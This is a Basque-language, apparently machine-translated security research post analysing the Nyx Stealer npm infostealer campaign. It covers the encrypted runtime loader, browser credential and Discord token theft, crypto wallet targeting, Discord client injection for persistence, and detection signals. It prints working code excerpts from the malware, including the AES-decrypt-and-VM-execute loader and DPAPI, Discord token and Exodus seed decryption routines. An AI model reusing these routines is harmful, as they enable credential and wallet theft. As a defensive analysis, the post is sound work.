TL; DR
Xygeni Segurtasun Ikerketa Taldea npm infostealer kanpaina sofistikatu bat identifikatu du bi pakete gaiztoren bidez zabalduta: kontsolalofy selfbot-lofy.
Azken bertsioa (consolelofy@1.3.0) 216KB-ko AES enkriptatutako karga bat txertatzen du, exekuzio-garaian deszifratzen dena eta honen bidez exekutatzen dena vm.runInNewContext()Logika gaiztoa guztiz enkriptatuta dagoenez, kateen ikuskapenean oinarritzen diren eskaner estatikoek ezin dute haren portaera behatu exekuzio-unitatera arte.
Behin deszifratuta, karga, barne-markatua Nyx lapurra, helburuak:
- Discord autentifikazio tokenak
- 50+ arakatzaile-kredentzialen biltegi
- 90+ kriptografia-zorro luzapen
- Roblox, Instagram, Spotify, Steam, Telegram eta TikTok saioak
- Discord mahaigaineko bezeroaren iraunkortasuna
Bi paketeetako 20 bertsio guztiak salatu eta gaiztoak zirela baieztatu ziren.
npm Infostealer honen ikuspegi teknikoa
Instalazio-garaiko malware tradizionalaren aldean, kanpaina hau honetan oinarritzen da: runtime deszifratze eredua.
Badaude:
- Gaiztorik gabe.
preinstallorpostinstallhooks - Ez dago instalazio-garaiko sare-dei agerikorik
- Ez dago testu arrunteko kredentzialak biltzeko logikarik
Karga modulua inportatzen denean aktibatzen da. Gaiztoaren gorputz osoa enkriptatuta dago eta memorian exekuzio-garaian bakarrik gauzatzen da.
Diseinu honek paketea instalatzean detektatzea saihesten du bereziki.
Nola exekutatzen den npm infostealer hau
Nyx Stealerrek zer lapurtzen duen aztertu aurretik, ulertu behar dugu nola exekutatzen den.
npm infostealer honen barruko logika gaiztoak eredu koherente bat jarraitzen du:
Kargatzaile txiki batek enkriptatutako karga handi bat desenkriptatu eta dinamikoki exekutatzen du Node.js VM testuinguru batean.
Diseinu hau nahita egin da. Erasotzaileak ez du funtzionaltasuna nahasmenduaren atzean ezkutatzen bakarrik, baizik eta... kode gaiztoa ikusgarritasun estatikotik erabat kentzea.
Goi Mailako Exekuzio Eredua
Maila altuan, bilgarriak lau gauza egiten ditu:
- AES gako bat lortzen du SHA-256 erabiliz kode gogorreko pasahitz batetik
- AES-256-CBC erabiliz kodeketa hexadezimal handiko zifratze-testu bat desenkriptatzen du
- Deszifratutako JavaScripta exekutatzen du erabiliz
vm.runInNewContext() - Exekuzio-denbora primitibo indartsuak erakusten dituen sandbox bat eskaintzen du
Oinarrizko Teknikaren Laburpena
| Component | Konfigurazioa / Balioa |
|---|---|
| Algorithm | AES-256-CBC |
| Gakoen deribazioa | SHA-256 (pasahitza) |
| Hasieratze bektorea (IV) | 16 byte 0x00 |
| Execution | vm.runInNewContext(deszifratua, sandbox) |
Garrantzitsuena, sandbox-ak honako hauetatik igarotzen da:
requireprocessBuffer- tenporizadoreak
- modulu esportazioak
Horrek esan nahi du deszifratutako kargak gaitasun osoa mantentzen duela:
- Sortze-prozesuak
- Fitxategiak irakurri eta idatzi
- Egin sareko deiak
- Aldatu tokiko aplikazioak
Hau ez da mugatutako VM bat. Exekuzio-tranpolin gisa erabiltzen den VM bat da.
Exekuzio-denborako enkriptazio-eredua (nukleoko exekuzio-mekanismoa)
Kargagailua txikia da.
Gorputz gaiztoa ez da.
Jarraian paketearen barruan aurkitzen den exekuzio-eredua dago:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Zergatik hau Matters
Deszifratutako karga:
- Does ez npm paketearen barruan testu arruntean existitzen da
- Ikusezina da sinpleentzat
grepedo kate-eskaneatzea estatikoa - Exekuzio-garaian memorian bakarrik materializatzen da
- Node exekuzio-denbora gaitasun guztiekin exekutatzen da
AES + VM exekuzio konbinazio hau portaera-adierazle sendoa da. npm infostealer ikuskapen estatikoa saihesten saiatzen ari da.
Beste era batera esanda:
Paketearen iturburu-zuhaitza eskaneatzen baduzu, ez duzu lapurrik ikusiko.
Desenkriptatzaile bat ikusten duzu.
Zer gertatzen da deszifratu ondoren
Behin exekutatu ondoren, Nyx Stealerrek datuak biltzeko uhin paraleloak abiarazten ditu.
1. uhin-laburpena: Nabigatzailearen kredentzialen erauzketa
Malwarea:
- Python exekuzio-denbora bat deskargatzen du NuGet CDNtik
- Kriptografia liburutegiak instalatzen ditu
- Kromioan oinarritutako kredentzial biltegiak erauzten ditu
- DPAPI bidez babestutako sekretuak desenkriptatzen ditu
Lotura natiboak konpilatu beharrean, PowerShell erabiltzen du Windows DPAPI zuzenean deitzeko.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ikuspegi honek:
- Konpilazio-artefaktuak saihesten ditu
- Windows-en kriptografia API natiboak erabiltzen ditu
- Administrazio tresnetan integratzen da
Sistema eragile mailako kredentzialen deszifratzea da, ez scraping-a.
2. uhin: Discord tokenaren deszifratzea
Lapurra protokoloaz jabetzen da. Discord-en token enkriptatuaren formatua ulertzen du.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Eragiketa-fluxua:
- Atera giltza nagusia Discord-etik
Local State - Deszifratu gako nagusia DPAPI bidez
- Desenkriptatu AES-GCM token blob-ak
- Balioztatu tokenak Discord APIaren aurka
- Aberastu Nitro, txapa eta fakturazio-informazioarekin
Hau ez da kredentzial-zabalketa generikoa. Protokoloaren araberako saioaren bahiketa da.
3. olatua: Kriptomoneta zorroen helburuak
npm infostealer-ek zerrendatzen du:
- 90+ arakatzailearen zorro luzapen
- 27 mahaigaineko zorro
- Zorro hotzeko bideak
- Exodus hazi fitxategiak
Hazien deszifratze saiakera adibidea:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Arrakasta izanez gero, zorroaren konpromisoa berehalakoa eta itzulezina da.
Kanpainaren monetizazio-bektorea baliotsuena da hau.
Iraunkortasuna Discord mahaigaineko injekzioaren bidez
Kredentzialak bildu ondoren, Nyx Stealer-ek iraunkortasuna saiatzen du tokiko fitxategia aldatuz. discord bezeroak.
Helburua:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Sekuentzia Operatiboa
Infostealer-ak urrats hauek egiten ditu:
- Discord prozesuak martxan amaitzen ditu
- Instalatutako Discord aldaerak (Stable, Canary, PTB) aurkitzen ditu
- Gainidazten du
discord_desktop_core/index.js - Erasotzaileak kontrolatutako webhook logika txertatzen du
- Discord berrabiarazten du
Horrek ziurtatzen du etorkizuneko Discord saioek automatikoki autentifikazio-token berriak filtratuko dituztela.
Garrantzitsua da, iraunkortasun honek ez duela programatutako zereginen edo erregistroko aldaketen mende jartzen. Aplikazio mailako kodearen aldaketa aprobetxatzen du, ikuspegi ezkutuago bat.
Npm pakete gaiztoa geroago kendu arren, Discord bezeroa arriskuan jarraituko du.
Konparazio teknikoa: Selfbot legitimoa vs npm Infostealer
| Component | Liburutegi legitimoa | Nyx npm informazio-lapurra |
|---|---|---|
| Encryption | Bat ere ez | AES bidez enkriptatutako karga osoa |
| Exekuzio-denborako VM | Ez da beharrezkoa | vm.runInNewContext exekuzioa |
| Kredentzialen sarbidea | Discord APIa bakarrik | Nabigatzailea, zorroak, DPAPI |
| Kanpoko deskargak | Ez | Python exekuzio-denbora NuGet bidez |
| Iraunkortasuna | Ez | Discord bezeroaren injekzioa |
| Dirua irabazteko | Bot-en automatizazioa | Kredentzialen birsalmenta |
Enkriptazio geruzak berak bereizten du kanpaina hau ohiko kode irekiko sardexka batetik.
Discord autobot legitimo batek ez du arrazoirik bere kode-base osoa enkriptatzeko, PowerShell abiarazteko DPAPIra sartzeko, kanpoko exekuzio-denborak deskargatzeko edo mahaigaineko aplikazioen barnekoak aldatzeko. Gaitasun horiek Discord interakzioak automatizatzen dituela dioen menpekotasun baten barruan agertzen direnean, arkitektura-desadostasuna ezinezkoa da alde batera uztea.
Ikerketaren ikuspuntutik, npm infostealer honek arrastoak uzten ditu hainbat geruzatan zehar. Hala ere, adierazle fidagarrienak ez dira URL finkoak edo fitxategi-bide espezifikoak, bertsioen artean alda baitaitezke. Horren ordez, seinale iraunkorrak egiturazkoak dira.
Pakete mailan, seinalerik indartsuena enkriptatutako karga handi baten eta berehala exekutatzen den exekuzio-denbora deskodetzeko bilgarri baten konbinazioa da. vm.runInNewContext()Enkriptatzea berez ez den arren gaiztoa, AES deskriptatzea eta ondoren Discord utilitate pakete baten barruan VM dinamikoaren exekuzioa erabiltzea oso anomaloa da.
Ostalari mailan, susmagarri diren ereduen artean daude DPAPI deszifratze-jarduera ustekabekoa, Node.js mendekotasun-testuinguru batetik sortutako prozesuak eta hirugarrenen liburutegiek inoiz aldatu behar ez dituzten tokiko aplikazio-fitxategien aldaketa. Era berean, sare-geruzan, garapen-mendekotasun batek hasitako irteerako webhook estiloko komunikazioa beste anomalia esanguratsu bat da.
Beste era batera esanda, detekzio-azalera ez da konpromisoaren adierazle bakarra. Enkriptazioaren, exekuzio-denboraren exekuzioaren, kredentzialetarako sarbidearen eta iraunkortasun-portaeraren arteko korrelazioa da mehatxua agerian uzten duena.
Detekzioa eta Arintzea Xygenirekin
npm infostealer hau identifikatu zuen honek: Xygeniren Malwarearen Alerta Goiztiarra (MEW) sinadura parekatze soilaren ordez geruzadun portaera-korrelazioaren bidez.
Ezagutzen diren kate gaiztoak bilatu beharrean, MEW-ek egitura-anomaliak ebaluatzen ditu iturburu-zuhaitz osoan zehar. Kasu honetan, detekzioa hainbat seinaleren konbergentziatik sortu zen: moduluaren sarrera-puntuan txertatutako AES deszifratze-errutina bat, VM testuinguru batean berehalako exekuzioa eta gaitasun-asmoaren arteko desadostasun argi bat.
Garrantzitsua da seinale hauek bakarrik ez dutela asmo gaiztorik frogatzen. Hala ere, elkarrekin aztertzen direnean, exekuzio-denbora portaera ezkutatzeko saiakera bat agerian uzten dute. Geruza anitzeko ikuspegi honek nabarmen murrizten ditu positibo faltsuak, hornidura-kateko mehatxu fidagarriak identifikatzen dituen bitartean.
Gainera, kasu honek instalazio-garaiko ikuskapena bakarrik ez dela nahikoa erakusten du. Logika gaiztoa ez dago bizi-zikloko scriptetan. Modulua kargatu ondoren bakarrik aktibatzen da eta memorian deszifratu ondoren bakarrik bihurtzen da ikusgai. Beraz, defentsa eraginkorrak enkriptazioaren araberako analisia, portaera-ereduen ezagutza eta instalazio-gertaeren haratagoko menpekotasunen etengabeko monitorizazioa eskatzen ditu.
Erregistroaren kentzea erreaktiboa da. Exekuzio-denboraren araberako analisia prebentiboa da.
Zergatik den garrantzitsua npm Infostealer hau
Nyx Stealer-ek npm oinarritutako malwarearen eboluzio estrukturala adierazten du.
Historikoki, pakete gaizto askok instalazio-garaiko script ikusgaietan edo kredentzialen erauzketa-amaiera agerikoetan oinarritzen ziren. Aldiz, kanpaina honek bere karga enkriptatzen du, exekuzioa exekuzio-garaira atzeratzen du, sistema eragilearen API legitimoak erabiltzen ditu eta iraunkortasuna ezartzen du aplikazio fidagarrietan.
Ondorioz, erasotzaileak ez du npm azpiegitura bera ustiatu beharrik. Horren ordez, erasoa arrakastatsua da, mendekotasunen instalazioak konfiantza dakarrelako. Garatzaileek liburutegi bat inportatzea eragiketa segurua dela uste dute, batez ere tresna ezagun baten fork sinesgarri gisa aurkezten denean.
Ekosistemek hazten jarraitzen duten heinean eta sardexkak ugaritzen diren heinean, konfiantza-muga inplizitu hori gero eta eraso-azalera erakargarriagoa bihurtzen da. Beraz, npm infostealer modernoen aurka defendatzeko, arkitektura-ereduak ezagutu behar dira, kate estatikoak bilatu beharrean.
Azken finean, kanpaina honek ikasgai kritiko bat indartzen du software supply chain securityMehatxurik arriskutsuenak ez dira lehen begiratuan gaiztoak diruditenak, baizik eta exekuzio-denborak haien benetako portaera agerian utzi arte egituraz zilegi diruditenak.




